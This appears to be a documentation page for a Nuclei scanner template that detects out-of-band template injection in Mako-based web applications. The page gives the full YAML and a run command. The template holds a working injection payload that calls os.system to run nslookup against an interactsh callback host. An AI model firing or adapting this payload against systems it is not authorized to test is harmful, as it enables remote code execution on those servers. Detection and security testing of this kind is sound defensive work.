Skip to content

Mako - Out of Band Template Injection

ID: mako-oob

Severity: high

Author: 0xAwali,DhiyaneshDK

Tags: ssti,dast,oast,oob

id: mako-oob
info:
name: Mako - Out of Band Template Injection
author: 0xAwali,DhiyaneshDK
severity: high
reference:
- https://www.makotemplates.org/
- https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
metadata:
verified: true
tags: ssti,dast,oast,oob
http:
- pre-condition:
- type: dsl
dsl:
- 'method == "GET"'
payloads:
injection:
- "%24%7Bself.__init__.__globals__%5B%27util%27%5D.os.system%28%27nslookup%20-type%3DSRV%20{{interactsh-url}}%27%29%7D"
fuzzing:
- part: query
type: postfix
mode: single
fuzz:
- "{{injection}}"
skip-variables-check: true
matchers:
- type: dsl
name: request-matcher
dsl:
- "contains(interactsh_protocol,'dns')"
- "contains(interactsh_request,'srv')"
condition: and
# digest: 4a0a0047304502207052dc8191e6d2dfba56a1c70f7ab5a4ee2b39215188bb17b81c47793e8b859c022100beabc7d974513b1c577ca0ec2df24bd3bbe6f946f2e6e41703fa4e09d68bc8fd:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "dast/vulnerabilities/ssti/oob/mako-oob.yaml"

View on Github